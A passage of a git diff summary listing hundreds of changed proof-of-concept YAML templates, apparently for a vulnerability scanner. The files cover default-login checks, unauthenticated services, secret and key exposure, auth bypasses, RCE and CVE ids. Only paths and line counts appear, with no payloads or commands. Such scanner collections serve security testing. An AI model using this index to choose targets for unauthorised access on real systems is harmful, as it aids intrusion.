27 - poc/auth/kiwitcms-login-8496.yaml | 11 +- poc/auth/kiwitcms-login-8497.yaml | 22 - poc/auth/kube-api-secrets-8512.yaml | 22 + poc/auth/kube-api-secrets.yaml | 26 - ...-unauth(1).yaml => kubernetes-unauth.yaml} | 0 poc/auth/kyan-credential-exposure.yaml | 22 +- poc/auth/linksys-wifi-login.yaml | 21 +- poc/auth/lucee-login-8662.yaml | 21 + poc/auth/lucee-login-8663.yaml | 25 - poc/auth/lucee-login.yaml | 25 +- poc/auth/lutron-iot-default-login-8675.yaml | 27 + poc/auth/lutron-iot-default-login-8678.yaml | 31 - poc/auth/maian-cart-preauth-rce.yaml | 29 +- poc/auth/mailchimp-api-key-8724.yaml | 3 - poc/auth/mailchimp-api-key-8725.yaml | 3 + .../mantisbt-default-credential-8779.yaml | 4 +- poc/auth/meshcentral-login-8801.yaml | 21 + poc/auth/meshcentral-login-8803.yaml | 21 - poc/auth/meshcentral-login.yaml | 16 +- poc/auth/metersphere-login.yaml | 24 +- poc/auth/minio-default-login-8887.yaml | 52 + poc/auth/minio-default-password.yaml | 6 - poc/auth/mlflow-unauth.yaml | 35 + poc/auth/mobileiron-login.yaml | 20 +- poc/auth/mofi4500-default-login-8912.yaml | 8 +- poc/auth/mofi4500-default-login-8913.yaml | 33 + poc/auth/mongodb-unauth-8926.yaml | 29 - poc/auth/mongodb-unauth-8927.yaml | 6 +- poc/auth/mongodb-unauth.yaml | 31 + poc/auth/mysql-default-login.yaml | 52 + poc/auth/mysql-native-password-8980.yaml | 18 - poc/auth/mysql-native-password.yaml | 21 +- poc/auth/nagios-default-credential.yaml | 1 + poc/auth/nagios-default-login-8994.yaml | 31 - poc/auth/nagios-default-login.yaml | 39 - poc/auth/netgear-router-auth-bypass-9026.yaml | 18 +- poc/auth/netscaler-aaa-login.yaml | 21 +- poc/auth/netsus-default-login-9058.yaml | 45 - poc/auth/netsus-default-login-9060.yaml | 8 - poc/auth/netsus-server-login.yaml | 18 +- poc/auth/nexus-default-login-9088.yaml | 46 + poc/auth/nexus-default-login-9089.yaml | 7 - ...login.yaml => nps-default-login-9144.yaml} | 0 poc/auth/nps-default-login-9145.yaml | 19 +- poc/auth/nuuno-network-login-9161.yaml | 6 +- poc/auth/nuuno-network-login.yaml | 19 - poc/auth/oauth2-detect.yaml | 23 + poc/auth/octobercms-default-login-9192.yaml | 59 - poc/auth/octobercms-default-login-9193.yaml | 53 + poc/auth/octobercms-default-login.yaml | 10 +- poc/auth/ofbiz-default-credentials.yaml | 4 +- ...l => open-stack-dashboard-login-9324.yaml} | 0 poc/auth/open-stack-dashboard-login.yaml | 25 +- poc/auth/openbmcs-secret-disclosure-9260.yaml | 36 - poc/auth/openbmcs-secret-disclosure.yaml | 24 + poc/auth/openemr-default-login-9269.yaml | 11 +- poc/auth/openemr-default-login.yaml | 46 + poc/auth/openwrt-default-login.yaml | 13 +- poc/auth/openwrt-login-9333.yaml | 31 - poc/auth/openwrt-login.yaml | 22 +- poc/auth/oracle-ebs-credentials-9365.yaml | 28 + poc/auth/oracle-ebs-credentials-9366.yaml | 20 +- poc/auth/oracle-people-sign-in.yaml | 21 +- poc/auth/panabit-default-login-9437.yaml | 31 +- poc/auth/panabit-default-login-9438.yaml | 50 +- poc/auth/panabit-default-login-9440.yaml | 60 - poc/auth/panabit-default-password.yaml | 4 - .../panabit-ixcache-default-login-9443.yaml | 14 +- poc/auth/panabit-ixcache-default-login.yaml | 30 + poc/auth/panos-default-login-9454.yaml | 9 +- poc/auth/panos-default-login-9457.yaml | 41 + poc/auth/panos-default-login.yaml | 42 + poc/auth/pentaho-default-login.yaml | 48 + poc/auth/pgsql-empty-password.yaml | 35 + poc/auth/pgsql-list-password-hashes.yaml | 50 + poc/auth/phabricator-login.yaml | 20 +- poc/auth/pictatic-api-key-9575.yaml | 13 + poc/auth/pictatic-api-key-9576.yaml | 16 - poc/auth/pictatic-api-key.yaml | 5 +- poc/auth/pieregister-open-redirect-9577.yaml | 20 +- ...ml => pieregister-open-redirect-9579.yaml} | 0 .../pieregister-plugin-open-redirect.yaml | 10 +- poc/auth/plastic-scm-login-9593.yaml | 6 +- poc/auth/polycom-login-9625.yaml | 20 - poc/auth/polycom-login-9627.yaml | 21 + poc/auth/possible-AEM-secrets.yaml | 46 - poc/auth/private-key-9655.yaml | 18 +- poc/auth/project-insight-login.yaml | 18 +- .../putty-private-key-disclosure-9731.yaml | 22 + .../putty-private-key-disclosure-9732.yaml | 26 - poc/auth/putty-private-key-disclosure.yaml | 28 +- poc/auth/rabbitmq-default-login-9786.yaml | 15 +- .../rails-secret-token-disclosure-9809.yaml | 22 - .../rails-secret-token-disclosure-9810.yaml | 23 + poc/auth/rails-secret-token-disclosure.yaml | 10 +- poc/auth/rainloop-default-login-9813.yaml | 49 + poc/auth/rainloop-default-login.yaml | 11 +- poc/auth/rancher-default-login-9814.yaml | 13 +- ...n-9815.yaml => rancher-default-login.yaml} | 0 poc/auth/ranger-default-login-9827.yaml | 39 - poc/auth/ranger-default-login-9828.yaml | 15 +- poc/auth/redis-require-auth.yaml | 30 + poc/auth/remote-ui-login.yaml | 19 +- poc/auth/ricoh-weak-password-9880.yaml | 9 +- poc/auth/ricoh-weak-password-9882.yaml | 11 +- poc/auth/rockmongo-default-credentials.yaml | 5 + poc/auth/rockmongo-default-login-9899.yaml | 15 +- poc/auth/rockmongo-default-login-9900.yaml | 18 +- poc/auth/rseenet-default-login-9913.yaml | 44 - poc/auth/rseenet-default-login-9915.yaml | 19 +- poc/auth/s3-auth-fullcontrol.yaml | 49 + poc/auth/s3-bucket-key.yaml | 49 + poc/auth/safenet-authentication-panel.yaml | 34 + poc/auth/saferoads-vms-login-9970.yaml | 3 +- .../samsung-wlan-ap-default-credentials.yaml | 3 - .../samsung-wlan-default-login-10017.yaml | 11 +- .../samsung-wlan-default-login-10018.yaml | 30 + poc/auth/sangfor-edr-auth-bypass-10022.yaml | 19 +- poc/auth/sangfor-edr-auth-bypass-10024.yaml | 14 +- poc/auth/sauter-login-10089.yaml | 2 +- poc/auth/seats-login-10106.yaml | 23 - poc/auth/seats-login-10108.yaml | 22 + poc/auth/seats-login.yaml | 15 +- poc/auth/secnet-ac-default-login-10113.yaml | 12 +- poc/auth/secnet-ac-default-login.yaml | 36 - poc/auth/seeddms-default-login-10127.yaml | 47 - poc/auth/seeddms-default-login.yaml | 39 + poc/auth/sequoiadb-default-login-10152.yaml | 10 +- poc/auth/sequoiadb-default-login.yaml | 37 - poc/auth/service-pwd-10178.yaml | 22 + poc/auth/service-pwd.yaml | 10 +- poc/auth/servicedesk-login-panel-10171.yaml | 20 - poc/auth/servicedesk-login-panel-10173.yaml | 19 + poc/auth/sgp-login-panel-10185.yaml | 26 - poc/auth/sgp-login-panel-10186.yaml | 4 +- poc/auth/shopify-custom-token-10198.yaml | 13 - ...).yaml => shopify-custom-token-11860.yaml} | 0 ...861.yaml => shopify-private-token(1).yaml} | 0 poc/auth/shopify-shared-secret.yaml | 4 + ...token-11863.yaml => shopify-token(1).yaml} | 0 poc/auth/shoppable-token-10206.yaml | 3 +- poc/auth/shoppable-token.yaml | 20 - poc/auth/showdoc-default-login-10219.yaml | 46 + poc/auth/showdoc-default-login.yaml | 40 + poc/auth/showdoc-default-password-10224.yaml | 31 - poc/auth/showdoc-default-password.yaml | 19 +- poc/auth/sitecore-login.yaml | 16 +- poc/auth/sitefinity-login-10297.yaml | 23 + poc/auth/sitefinity-login-10299.yaml | 19 - poc/auth/sitefinity-login.yaml | 12 +- poc/auth/siteomat-login-10300.yaml | 19 + poc/auth/siteomat-login-10301.yaml | 19 - poc/auth/siteomat-login-10303.yaml | 3 +- poc/auth/siteomat-login.yaml | 22 +- ...gin-10317.yaml => slocum-login-10316.yaml} | 0 poc/auth/smartsense-default-login-10330.yaml | 17 +- poc/auth/smb-default-creds.yaml | 48 + poc/auth/smb-signing-not-required.yaml | 36 + poc/auth/solar-log-authbypass-10352.yaml | 39 - poc/auth/solar-log-authbypass.yaml | 27 + poc/auth/solarwinds-default-login-10354.yaml | 9 +- poc/auth/solarwinds-default-login-10355.yaml | 55 + poc/auth/somfy-login.yaml | 17 +- ...-10374.yaml => sonarqube-login-10376.yaml} | 0 poc/auth/sonarqube-login.yaml | 27 +- poc/auth/sonarqube-token-10380.yaml | 22 + poc/auth/sonarqube-token-10382.yaml | 2 +- poc/auth/soplanning-default-login.yaml | 49 + poc/auth/spark-webui-unauth.yaml | 3 +- poc/auth/spectracom-default-login-10403.yaml | 11 +- poc/auth/spectracom-default-login-10405.yaml | 40 + ...in-10410.yaml => sphider-login-10407.yaml} | 0 poc/auth/splunk-login-10416.yaml | 20 - ...1).yaml => square-access-token-11867.yaml} | 0 poc/auth/square-access-token.yaml | 4 + poc/auth/square-oauth-secret(1).yaml | 16 + poc/auth/square-oauth-secret-11868.yaml | 13 - poc/auth/squirrelmail-login-10521.yaml | 27 + poc/auth/squirrelmail-login.yaml | 31 +- .../squirrelmail-vkeyboard-xss-10522.yaml | 41 - poc/auth/squirrelmail-vkeyboard-xss.yaml | 25 + poc/auth/ssrf-via-oauth-misconfig-10527.yaml | 3 +- ... stem-audio-table-private-keys-10535.yaml} | 0 ...-key-11869.yaml => stripe-api-key(1).yaml} | 0 poc/auth/stripe-api-key.yaml | 4 - poc/auth/stripe-secret-key-10558.yaml | 9 +- ...-key-10556.yaml => stripe-secret-key.yaml} | 0 poc/auth/structurizr-default-login.yaml | 62 + poc/auth/submitty-login-10567.yaml | 31 - poc/auth/submitty-login-10568.yaml | 31 + poc/auth/supermicro-default-login-10572.yaml | 11 +- poc/auth/supermicro-default-login.yaml | 36 + poc/auth/symantec-epm-login-10601.yaml | 7 +- poc/auth/symantec-epm-login.yaml | 19 +- poc/auth/symantec-ewep-login-10605.yaml | 7 +- poc/auth/symantec-ewep-login.yaml | 19 +- poc/auth/szhe-default-login-10636.yaml | 34 + poc/auth/szhe-default-login-10638.yaml | 10 +- poc/auth/tendat-credential.yaml | 29 + poc/auth/threatq-login-10757.yaml | 8 +- poc/auth/threatq-login.yaml | 17 +- poc/auth/tidb-unauth-10770.yaml | 23 - poc/auth/tidb-unauth-10771.yaml | 13 +- poc/auth/tidb-unauth.yaml | 31 + poc/auth/timekeeper-default-login.yaml | 46 + poc/auth/tomcat-default-login-10788.yaml | 20 +- poc/auth/tomcat-default-login-10791.yaml | 23 +- poc/auth/trilithic-viewpoint-login.yaml | 40 - poc/auth/twitter-secret-10862.yaml | 3 + poc/auth/ucmdb-default-login-10868.yaml | 14 +- poc/auth/ucmdb-default-login.yaml | 28 - poc/auth/unauth-ftp-10939.yaml | 18 + poc/auth/unauth-ftp-10940.yaml | 19 - poc/auth/unauth-message-read-10945.yaml | 3 +- poc/auth/unauth-message-read-10946.yaml | 41 + poc/auth/unauth-psql.yaml | 47 + poc/auth/unauth-rlm-10960.yaml | 16 +- poc/auth/unauth-rlm.yaml | 12 +- poc/auth/unauth-spark-api-10963.yaml | 13 +- poc/auth/unauth-spark-api-10964.yaml | 8 + poc/auth/unauth-wavink-panel-10966.yaml | 48 + poc/auth/unauth-wavink-panel.yaml | 40 - ...aml => unauth-xproxy-dashboard-10968.yaml} | 0 poc/auth/unauthenticated-airflow-10886.yaml | 2 +- poc/auth/unauthenticated-airflow-10887.yaml | 24 + .../unauthenticated-alert-manager-10888.yaml | 3 +- .../unauthenticated-alert-manager-10891.yaml | 11 +- poc/auth/unauthenticated-glances-10898.yaml | 30 - poc/auth/unauthenticated-glances.yaml | 21 + poc/auth/unauthenticated-glowroot-10900.yaml | 27 - poc/auth/unauthenticated-glowroot-10902.yaml | 8 +- .../unauthenticated-jenkin-dashboard.yaml | 3 +- .../unauthenticated-lansweeper-10904.yaml | 14 + .../unauthenticated-lansweeper-10906.yaml | 17 - .../unauthenticated-mongo-express-10908.yaml | 8 +- .../unauthenticated-nacos-access-10912.yaml | 29 - .../unauthenticated-nacos-access-10913.yaml | 34 + poc/auth/unauthenticated-nacos-access.yaml | 9 +- .../unauthenticated-popup-upload-10922.yaml | 7 +- poc/auth/unauthenticated-prtg-10924.yaml | 7 +- ...g-10928.yaml => unauthenticated-prtg.yaml} | 0 .../unauthenticated-tensorboard-10930.yaml | 30 + poc/auth/unauthenticated-tensorboard.yaml | 24 - ...thenticated-varnish-cache-purge-10931.yaml | 25 - ...thenticated-varnish-cache-purge-10933.yaml | 8 +- poc/auth/unauthenticated-zipkin-10935.yaml | 37 - poc/auth/unauthenticated-zipkin-10936.yaml | 8 +- poc/auth/unauthenticated-zippkin.yaml | 5 + .../unauthorized-h3csecparh-login-10949.yaml | 34 - poc/auth/unauthorized-h3csecparh-login.yaml | 26 + poc/auth/unauthorized-hp-printer-10951.yaml | 20 + poc/auth/unauthorized-hp-printer.yaml | 12 +- poc/auth/unauthorized-plastic-scm-10955.yaml | 42 + poc/auth/unauthorized-plastic-scm-10956.yaml | 17 +- poc/auth/unauthorized-plastic-scm-10957.yaml | 7 + poc/auth/versa-default-login-11002.yaml | 18 +- poc/auth/versa-default-login-11003.yaml | 48 + poc/auth/vidyo-default-login-11008.yaml | 20 +- poc/auth/vidyo-default-login-11009.yaml | 52 + poc/auth/vidyo-default-login-11010.yaml | 3 +- poc/auth/visionhub-default-login-11027.yaml | 11 +- poc/auth/visionhub-default-login-11029.yaml | 36 + poc/auth/visionhub-default-login.yaml | 37 + .../vmware-authentication-daemon-detect.yaml | 34 + poc/auth/vpms-auth-bypass-11066.yaml | 33 + poc/auth/vpms-auth-bypass.yaml | 8 +- ...tchguard-credentials-disclosure-11105.yaml | 27 + ...=> watchguard-credentials-disclosure.yaml} | 0 poc/auth/weblogic-login.yaml | 19 +- poc/auth/wifisky-default-login-11202.yaml | 22 +- poc/auth/wifisky-default-login-11204.yaml | 11 +- ...ordpress-infinitewp-auth-bypass-11285.yaml | 29 +- .../wordpress-infinitewp-auth-bypass.yaml | 20 +- poc/auth/wordpress-login.yaml | 16 +- poc/auth/wordpress-updraftplus-pem-key.yaml | 12 +- .../wordpress-weak-credentials-11334.yaml | 21 +- .../wordpress-weak-credentials-11337.yaml | 22 +- poc/auth/wpdm-cache-session-11436.yaml | 23 + poc/auth/wpdm-cache-session-11439.yaml | 26 - poc/auth/wpmudev-pub-keys-11506.yaml | 24 - poc/auth/wpmudev-pub-keys-11507.yaml | 26 + poc/auth/wpmudev-pub-keys.yaml | 14 +- poc/auth/wso2-default-login-11640.yaml | 43 + ...in-11674.yaml => xenforo-login-11670.yaml} | 0 poc/auth/xenforo-login-11673.yaml | 17 - poc/auth/xenmobile-login-11675.yaml | 19 + poc/auth/xenmobile-login-11677.yaml | 20 - poc/auth/xenmobile-login.yaml | 3 +- poc/auth/xerox7-default-login-11678.yaml | 16 +- poc/auth/xerox7-default-login-11679.yaml | 12 +- poc/auth/xvr-login-11702.yaml | 19 + poc/auth/xvr-login-11704.yaml | 7 +- poc/auth/xvr-login-11705.yaml | 20 - poc/auth/xvr-login-11706.yaml | 7 +- poc/auth/xxljob-default-login-11709.yaml | 53 - poc/auth/xxljob-default-login-11712.yaml | 3 +- poc/auth/xxljob-default-login.yaml | 63 + poc/auth/zabbix-default-credentials.yaml | 7 +- poc/auth/zabbix-default-login-11760.yaml | 16 +- poc/auth/zabbix-default-login-11762.yaml | 39 - poc/auth/zeroshell-login.yaml | 18 +- poc/auth/zhiyuan-oa-session-leak-11802.yaml | 22 + ...1804.yaml => zhiyuan-oa-session-leak.yaml} | 0 ...aml => zhiyuan-oa-unauthorized-11806.yaml} | 0 poc/auth/zhiyuan-oa-unauthorized.yaml | 16 +- poc/auth/zimbra-preauth-ssrf-11811.yaml | 34 - poc/auth/zmanda-default-login-11828.yaml | 11 +- ...n-11826.yaml => zmanda-default-login.yaml} | 0 poc/auth/zms-auth-bypass-11832.yaml | 3 +- poc/auth/zoho-webhook-token-11835.yaml | 22 - poc/auth/zoho-webhook-token.yaml | 15 + poc/aws/S3Hunter.yaml | 26 +- poc/aws/amazon-docker-config-280.yaml | 28 + .../amazon-docker-config-disclosure-278.yaml | 18 - poc/aws/amazon-docker-config-disclosure.yaml | 12 +- poc/aws/amazon-docker-config.yaml | 18 - poc/aws/amazon-mws-auth-token-11845.yaml | 11 +- poc/aws/amazon-mws-auth-token-282.yaml | 6 +- ...-value.yaml => amazon-mws-auth-token.yaml} | 0 ...\345\244\215\345\211\257\346\234\254.yaml" | 18 + ...ess-id-620.yaml => aws-access-id-618.yaml} | 0 poc/aws/aws-access-id.yaml | 39 +- poc/aws/aws-access-key-value-622.yaml | 8 +- poc/aws/aws-access-key-value-625.yaml | 18 + poc/aws/aws-bucket-service-628.yaml | 31 + poc/aws/aws-bucket-service.yaml | 27 - poc/aws/aws-bucket-takeover-630.yaml | 24 + poc/aws/aws-bucket-takeover-632.yaml | 20 - poc/aws/aws-bucket-takeover.yaml | 64 +- poc/aws/aws-cloudfront-service-634.yaml | 2 +- poc/aws/aws-cloudfront-service.yaml | 22 + poc/aws/aws-code-env.yaml | 53 + ...-cognito-636.yaml => aws-cognito-638.yaml} | 0 .../aws-ecs-container-agent-tasks-640.yaml | 5 +- .../aws-ecs-container-agent-tasks-641.yaml | 25 + poc/aws/aws-elastic-beanstalk-detect-643.yaml | 6 +- poc/aws/aws-elastic-beanstalk-detect.yaml | 30 + poc/aws/aws-object-listing-646.yaml | 3 +- poc/aws/aws-opensearch-login-650.yaml | 3 +- poc/aws/aws-redirect-651.yaml | 31 + poc/aws/aws-redirect-652.yaml | 2 +- poc/aws/aws-sftp-detect.yaml | 34 + poc/aws/awstats-config-655.yaml | 2 +- poc/aws/awstats-script-657.yaml | 29 + poc/aws/awstats-script-658.yaml | 29 - poc/aws/cloudtrail-s3-bucket-logging.yaml | 73 + poc/aws/ec2-detection-7161.yaml | 3 + poc/aws/ec2-detection-7162.yaml | 18 + ...detection-7163.yaml => ec2-detection.yaml} | 0 poc/aws/ec2-imdsv2.yaml | 56 + poc/aws/ec2-public-ip.yaml | 56 + poc/aws/ec2-sg-egress-open.yaml | 57 + poc/aws/ec2-sg-ingress.yaml | 57 + poc/aws/metadata-aws-8810.yaml | 24 +- poc/aws/metadata-aws-8811.yaml | 20 +- ...nded-da21a491c0c1b70fec28427963a101bc.yaml | 59 + poc/aws/s3-access-logging.yaml | 49 + poc/aws/s3-auth-fullcontrol.yaml | 49 + poc/aws/s3-bucket-key.yaml | 49 + poc/aws/s3-bucket-policy-public-access.yaml | 57 + poc/aws/s3-detect-9965.yaml | 3 - poc/aws/s3-mfa-delete-check.yaml | 49 + poc/aws/s3-object-lock-not-enabled.yaml | 74 + poc/aws/s3-public-read-acp.yaml | 50 + poc/aws/s3-public-read.yaml | 50 + poc/aws/s3-public-write-acp.yaml | 49 + poc/aws/s3-public-write.yaml | 49 + poc/aws/s3-server-side-encryption.yaml | 49 + poc/aws/s3-subtakeover-9969.yaml | 24 - poc/aws/s3-versioning.yaml | 50 + poc/aws/s3cmd-config-9961.yaml | 34 - poc/aws/s3cmd-config.yaml | 21 + poc/aws/s3hunter-9966.yaml | 13 + poc/aws/unencrypted-aws-ami.yaml | 56 + ...led-63.yaml => adb-backup-enabled-60.yaml} | 0 poc/backup/adb-backup-enabled-61.yaml | 12 +- poc/backup/db-backup-lfi-6775.yaml | 30 - poc/backup/php-backup-files-9497.yaml | 2 +- poc/backup/rds-backup-enable.yaml | 56 + poc/backup/wordpress-db-backup-listing.yaml | 10 +- ...ordpress-total-upkeep-backup-download.yaml | 16 +- poc/backup/zip-backup-files-11817.yaml | 51 - poc/backup/zip-backup-files-11818.yaml | 10 +- poc/cisco/cisco-ace-device-manager-929.yaml | 4 +- poc/cisco/cisco-asa-panel-934.yaml | 22 - .../cisco-cloudcenter-suite-log4j-rce.yaml | 63 - poc/cisco/cisco-cloudcenter-suite-rce.yaml | 73 + poc/cisco/cisco-finesse-login-938.yaml | 22 - poc/cisco/cisco-finesse-login-940.yaml | 23 + poc/cisco/cisco-finesse-login.yaml | 19 +- poc/cisco/cisco-implant-detect.yaml | 51 + poc/cisco/cisco-integrated-login-941.yaml | 3 +- poc/cisco/cisco-integrated-login.yaml | 16 +- poc/cisco/cisco-meraki-exposure-944.yaml | 25 - poc/cisco/cisco-meraki-exposure-946.yaml | 26 + poc/cisco/cisco-meraki-exposure.yaml | 18 +- poc/cisco/cisco-network-config-949.yaml | 24 - poc/cisco/cisco-network-config-951.yaml | 20 +- ...ml => cisco-prime-infrastructure-952.yaml} | 0 ...960.yaml => cisco-secure-desktop-962.yaml} | 0 poc/cisco/cisco-security-details-963.yaml | 22 + poc/cisco/cisco-security-details.yaml | 2 +- poc/cisco/cisco-sendgrid-968.yaml | 31 + poc/cisco/cisco-sendgrid.yaml | 12 +- poc/cisco/cisco-smi-exposure-970.yaml | 14 +- poc/cisco/cisco-smi-exposure.yaml | 11 +- poc/cisco/cisco-systems-login-973.yaml | 25 - poc/cisco/cisco-systems-login-975.yaml | 32 + poc/cisco/cisco-telepresence-976.yaml | 25 + poc/cisco/cisco-telepresence-978.yaml | 25 - poc/cisco/cisco-telepresence.yaml | 22 +- poc/cisco/cisco-ucs-kvm-login-979.yaml | 27 - poc/cisco/cisco-ucs-kvm-login-980.yaml | 28 + poc/cisco/cisco-ucs-kvm-login.yaml | 5 +- .../adobe-coldfusion-detect-82.yaml | 12 +- ...t.yaml => adobe-coldfusion-detect-83.yaml} | 0 .../adobe-coldfusion-error-detect-88.yaml | 13 +- ...aml => adobe-coldfusion-error-detect.yaml} | 0 poc/coldfusion/coldfusion-debug-xss-1152.yaml | 21 +- poc/coldfusion/coldfusion-debug-xss-1153.yaml | 65 +- .../unpatched-coldfusion-10979.yaml | 30 + poc/coldfusion/unpatched-coldfusion.yaml | 7 +- poc/config/aerohive-netconfig-ui-200.yaml | 70 +- poc/config/aerohive-netconfig-ui.yaml | 31 - poc/config/amazon-docker-config-280.yaml | 28 + .../amazon-docker-config-disclosure-278.yaml | 18 - .../amazon-docker-config-disclosure.yaml | 12 +- poc/config/amazon-docker-config.yaml | 18 - poc/config/ansible-config-disclosure-326.yaml | 28 + poc/config/ansible-config-disclosure.yaml | 16 - poc/config/apache-config-344.yaml | 31 - poc/config/apache-config.yaml | 19 + poc/config/api-iconfinder-439.yaml | 34 - poc/config/awstats-config-655.yaml | 2 +- ...l => bigip-config-utility-detect-730.yaml} | 0 poc/config/buffalo-config-injection-798.yaml | 30 + poc/config/buffalo-config-injection-801.yaml | 39 - poc/config/circleci-config-923.yaml | 25 + poc/config/circleci-config-925.yaml | 3 +- poc/config/circleci-ssh-config-928.yaml | 17 +- poc/config/cisco-network-config-949.yaml | 24 - poc/config/cisco-network-config-951.yaml | 20 +- poc/config/config-rb-1180.yaml | 2 +- poc/config/configuration-listing-1182.yaml | 26 + poc/config/configuration-listing.yaml | 26 - poc/config/confluence-detect-1186.yaml | 41 + poc/config/confluence-detect-1187.yaml | 3 +- poc/config/confluence-detect-1188.yaml | 41 - ...l => confluence-ssrf-sharelinks-1193.yaml} | 0 poc/config/confluence-ssrf-sharelinks.yaml | 36 - .../coremail-config-disclosure-1214.yaml | 31 - .../coremail-config-disclosure-1216.yaml | 23 + poc/config/cors-misconfig-1221.yaml | 44 - poc/config/cors-misconfig.yaml | 63 + poc/config/discuz-config-global.yaml | 12 +- poc/config/docker-compose-config-7057.yaml | 2 +- poc/config/docker-compose-config-7059.yaml | 41 + poc/config/dockercfg-config.yaml | 26 - poc/config/esmtprc-config-7259.yaml | 11 +- poc/config/esmtprc-config-7260.yaml | 8 +- poc/config/extreme-netconfig-ui-7371.yaml | 32 + poc/config/extreme-netconfig-ui-7372.yaml | 33 - poc/config/extreme-netconfig-ui.yaml | 14 +- poc/config/firebase-config-exposure-7485.yaml | 3 +- poc/config/firebase-config-exposure-7487.yaml | 17 +- poc/config/front-page-misconfig-7547.yaml | 31 - poc/config/ftpconfig-7566.yaml | 32 - poc/config/ftpconfig.yaml | 25 + poc/config/git-config-7633.yaml | 20 +- poc/config/git-config-7635.yaml | 14 - .../git-config-nginxoffbyslash-7629.yaml | 28 + .../git-config-nginxoffbyslash-7630.yaml | 14 +- poc/config/github-page-config-7654.yaml | 30 + poc/config/gocd-cruise-configuration.yaml | 2 +- .../grandstream-device-configuration.yaml | 9 +- poc/config/honeywell-scada-config-7990.yaml | 3 +- poc/config/honeywell-scada-config.yaml | 25 - ...file.yaml => joomla-config-dist-file.yaml} | 0 poc/config/joomla-config-file-8376.yaml | 31 - poc/config/joomla-config-file-8377.yaml | 2 +- poc/config/magento-config-8703.yaml | 31 + poc/config/magento-config-disclosure.yaml | 50 + ...00.yaml => misconfigured-docker-8902.yaml} | 0 poc/config/msmtp-config-8966.yaml | 12 +- poc/config/msmtp-config-8967.yaml | 34 + poc/config/nginx-config-9097.yaml | 4 - poc/config/nginx-config-9099.yaml | 29 + ...inx-config-9098.yaml => nginx-config.yaml} | 0 poc/config/parameters-config-9465.yaml | 38 + poc/config/parameters-config.yaml | 32 - .../phpmyadmin-misconfiguration.yaml} | 0 poc/config/prometheus-config-9673.yaml | 37 - poc/config/prometheus-config-endpoint.yaml | 19 +- poc/config/prometheus-config.yaml | 27 + poc/config/rails-database-config-9803.yaml | 2 +- poc/config/rails-database-config.yaml | 22 - poc/config/rconfig-rce-9834.yaml | 20 +- poc/config/s3cmd-config-9961.yaml | 34 - poc/config/s3cmd-config.yaml | 21 + poc/config/samba-config-9986.yaml | 20 +- poc/config/samba-config-9987.yaml | 20 + poc/config/springboot-autoconfig-10436.yaml | 34 - poc/config/springboot-configprops-10442.yaml | 31 + poc/config/springboot-configprops-10444.yaml | 33 - poc/config/springboot-configprops-10445.yaml | 6 +- .../ssrf-via-oauth-misconfig-10527.yaml | 3 +- poc/config/svnserve-config-10590.yaml | 34 - poc/config/svnserve-config.yaml | 18 + poc/config/symfony-database-config-10615.yaml | 2 - poc/config/tcpconfig-10663.yaml | 25 +- poc/config/tcpconfig-10666.yaml | 25 +- poc/config/travis-config.yaml | 48 - ...aml => tugboat-config-exposure-10843.yaml} | 0 poc/config/tugboat-config-exposure.yaml | 28 - .../wamp-server-configuration-11096.yaml | 12 +- ...98.yaml => wamp-server-configuration.yaml} | 0 poc/config/web-config-11124.yaml | 1 - .../wordpress-accessible-wpconfig-11234.yaml | 60 +- .../wordpress-accessible-wpconfig-11235.yaml | 38 - .../wordpress-accessible-wpconfig-11238.yaml | 12 +- poc/config/wp-config-setup.yaml | 13 +- poc/config/wp-misconfig.yaml | 77 +- poc/config/zend-config-file-11778.yaml | 17 +- poc/crlf_injection/crlf-injection-1260.yaml | 27 + poc/crlf_injection/crlf-injection-1265.yaml | 22 - .../viewlinc-crlf-injection-11012.yaml | 16 +- ...detect.yaml => csrfguard-detect-1290.yaml} | 0 .../csrfguard-detect-1291.yaml | 72 - poc/cve/CNNVD-200705-315.yaml | 2 - poc/cve/CNVD-2017-06001.yaml | 37 + poc/cve/CNVD-2018-13393.yaml | 9 +- poc/cve/CNVD-2019-17294.yaml | 5 + poc/cve/CNVD-2019-19299.yaml | 50 + poc/cve/CNVD-2019-32204.yaml | 11 +- poc/cve/CNVD-2021-14536.yaml | 10 +- poc/cve/CNVD-2021-15822.yaml | 14 +- poc/cve/CNVD-2021-15824.yaml | 18 +- poc/cve/CNVD-2021-26422.yaml | 32 + ...1-28277-1105.yaml => CNVD-2021-28277.yaml} | 0 poc/cve/CNVD-2022-03672.yaml | 17 +- poc/cve/CVE-2001-1473.yaml | 26 + poc/cve/CVE-2004-0519.yaml | 26 +- poc/cve/CVE-2005-3344.yaml | 25 +- poc/cve/CVE-2007-5728.yaml | 41 +- poc/cve/CVE-2008-4668.yaml | 28 +- poc/cve/CVE-2008-5587.yaml | 31 +- poc/cve/CVE-2008-6172.yaml | 29 +- poc/cve/CVE-2008-6222.yaml | 32 +- ...7175-ca3d8af1bfdc512f2bdde607183e196a.yaml | 59 + poc/cve/CVE-2009-1496.yaml | 24 +- poc/cve/CVE-2009-2015.yaml | 28 +- poc/cve/CVE-2009-2100.yaml | 26 +- poc/cve/CVE-2009-5020.yaml | 33 +- poc/cve/CVE-2010-0467.yaml | 24 +- poc/cve/CVE-2010-0696.yaml | 26 +- poc/cve/CVE-2010-0942.yaml | 25 +- poc/cve/CVE-2010-0943.yaml | 28 +- poc/cve/CVE-2010-1081.yaml | 25 +- poc/cve/CVE-2010-1217.yaml | 26 +- poc/cve/CVE-2010-1219.yaml | 27 +- poc/cve/CVE-2010-1305.yaml | 28 +- poc/cve/CVE-2010-1307.yaml | 26 +- poc/cve/CVE-2010-1308.yaml | 24 +- poc/cve/CVE-2010-1312.yaml | 25 +- poc/cve/CVE-2010-1314.yaml | 28 +- poc/cve/CVE-2010-1315.yaml | 28 +- poc/cve/CVE-2010-1345.yaml | 12 +- poc/cve/CVE-2010-1352.yaml | 27 +- poc/cve/CVE-2010-1471.yaml | 24 +- poc/cve/CVE-2010-1475.yaml | 28 +- poc/cve/CVE-2010-1476.yaml | 24 +- poc/cve/CVE-2010-1478.yaml | 27 +- poc/cve/CVE-2010-1491.yaml | 26 +- poc/cve/CVE-2010-1601.yaml | 27 +- poc/cve/CVE-2010-1607.yaml | 28 +- poc/cve/CVE-2010-1658.yaml | 27 +- poc/cve/CVE-2010-1714.yaml | 28 +- poc/cve/CVE-2010-1715.yaml | 26 +- poc/cve/CVE-2010-1858.yaml | 26 +- poc/cve/CVE-2010-1875.yaml | 29 +- poc/cve/CVE-2010-1955.yaml | 25 +- poc/cve/CVE-2010-1980.yaml | 28 +- poc/cve/CVE-2010-1981.yaml | 26 +- poc/cve/CVE-2010-1982.yaml | 26 +- poc/cve/CVE-2010-2122.yaml | 10 +- poc/cve/CVE-2010-2680.yaml | 26 